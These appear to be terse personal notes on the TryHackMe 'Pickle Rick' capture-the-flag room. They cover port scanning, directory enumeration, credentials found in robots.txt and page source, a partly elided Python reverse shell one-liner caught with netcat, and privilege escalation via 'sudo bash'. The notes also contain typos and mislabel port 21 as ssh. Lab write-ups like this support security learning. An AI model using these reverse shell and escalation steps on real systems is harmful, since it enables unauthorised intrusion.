Picke Rick
https://tryhackme.com/room/picklerick
Open Ports:
- 21: ssh
- 80: HTTP
Port 80:
- find sub-doamisn and directories usind dirb + dirbuster
- ip/robots.txt (we find passwd)
- ip/index (username in the source Page)
- ip/portal.php (found username and password)
Gaining Access:
We find a terminal inside the website
-
Add the python reverse shell command
python -c 'import ......os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-
listening via netcat will gain you access to the BOX
1st Flag:
2nd Flag:
Privilege Escalation:
- sudo -l
- All users are sudp
'sudo bash'
3rd Flag:
- All users are sudp